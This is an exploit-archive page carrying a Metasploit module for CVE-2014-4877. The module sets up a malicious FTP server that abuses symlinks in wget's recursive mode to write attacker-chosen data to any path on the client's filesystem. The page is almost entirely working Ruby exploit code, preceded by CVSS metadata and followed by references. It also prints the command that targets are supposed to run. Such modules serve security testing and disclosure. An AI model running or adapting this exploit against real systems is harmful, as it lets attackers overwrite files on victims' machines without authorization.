GNU Wget FTP Symlink Arbitrary Filesystem Access Exploit

2014.11.02
Credit: hdm
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::FtpServer include Msf::Auxiliary::Report def initialize super( 'Name' => 'GNU Wget FTP Symlink Arbitrary Filesystem Access', 'Description' => %q{ This module exploits a vulnerability in Wget when used in recursive (-r) mode with a FTP server as a destination. A symlink is used to allow arbitrary writes to the target's filesystem. To specify content for the file, use the "file:/path" syntax for the TARGET_DATA option. Tested successfully with wget 1.14. Versions prior to 1.16 are presumed vulnerable. }, 'Author' => ['hdm'], 'License' => MSF_LICENSE, 'Actions' => [['Service']], 'PassiveActions' => ['Service'], 'References' => [ [ 'CVE', '2014-4877'], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ] ], 'DefaultAction' => 'Service', 'DisclosureDate' => 'Oct 27 2014' ) register_options( [ OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]), OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]), OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121]) ], self.class) @fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8) end def run my_address = Rex::Socket.source_address print_good("Targets should run: $ wget -m ftp://#{my_address}:#{datastore['SRVPORT']}/") exploit() end def on_client_command_user(c,arg) @state[c][:user] = arg c.put "331 User name okay, need password...\r\n" end def on_client_command_pass(c,arg) @state[c][:pass] = arg c.put "230 Login OK\r\n" @state[c][:auth] = true print_status("#{@state[c][:name]} Logged in with user '#{@state[c][:user]}' and password '#{@state[c][:user]}'...") end def on_client_command_retr(c,arg) print_status("#{@state[c][:name]} -> RETR #{arg}") if not @state[c][:auth] c.put "500 Access denied\r\n" return end unless arg.index(::File.basename(datastore['TARGET_FILE'])) c.put "550 File does not exist\r\n" return end conn = establish_data_connection(c) if not conn c.put("425 Can't build data connection\r\n") return end c.put("150 Opening BINARY mode data connection for #{arg}\r\n") conn.put(datastore['TARGET_DATA']) c.put("226 Transfer complete.\r\n") conn.close print_good("#{@state[c][:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}") end def on_client_command_list(c,arg) print_status("#{@state[c][:name]} -> LIST #{arg}") if not @state[c][:auth] c.put "500 Access denied\r\n" return end conn = establish_data_connection(c) if not conn c.put("425 Can't build data connection\r\n") return end pwd = @state[c][:cwd] buf = '' dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e %Y") unless pwd.index(@fakedir) buf << "lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore['TARGET_FILE'])}\r\n" buf << "drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}\r\n" else buf << "-rwx------ 1 root root #{"%9d" % datastore['TARGET_DATA'].length} #{dstamp} #{::File.basename(datastore['TARGET_FILE'])}\r\n" end c.put("150 Opening ASCII mode data connection for /bin/ls\r\n") conn.put("total #{buf.length}\r\n" + buf) c.put("226 Transfer complete.\r\n") conn.close end def on_client_command_size(c,arg) if not @state[c][:auth] c.put "500 Access denied\r\n" return end c.put("213 #{datastore['TARGET_DATA'].length}\r\n") end def on_client_command_cwd(c,arg) print_status("#{@state[c][:name]} -> CWD #{arg}") if not @state[c][:auth] c.put "500 Access denied\r\n" return end upath = "/" npath = ::File.join(@state[c][:cwd], arg) bpath = npath[upath.length, npath.length - upath.length] # Check for traversal above the root directory if not (npath[0, upath.length] == upath or bpath == '') bpath = '/' end bpath = '/' if bpath == '' @state[c][:cwd] = bpath c.put "250 CWD command successful.\r\n" end end

References:

http://cxsecurity.com/issue/WLB-2014100172


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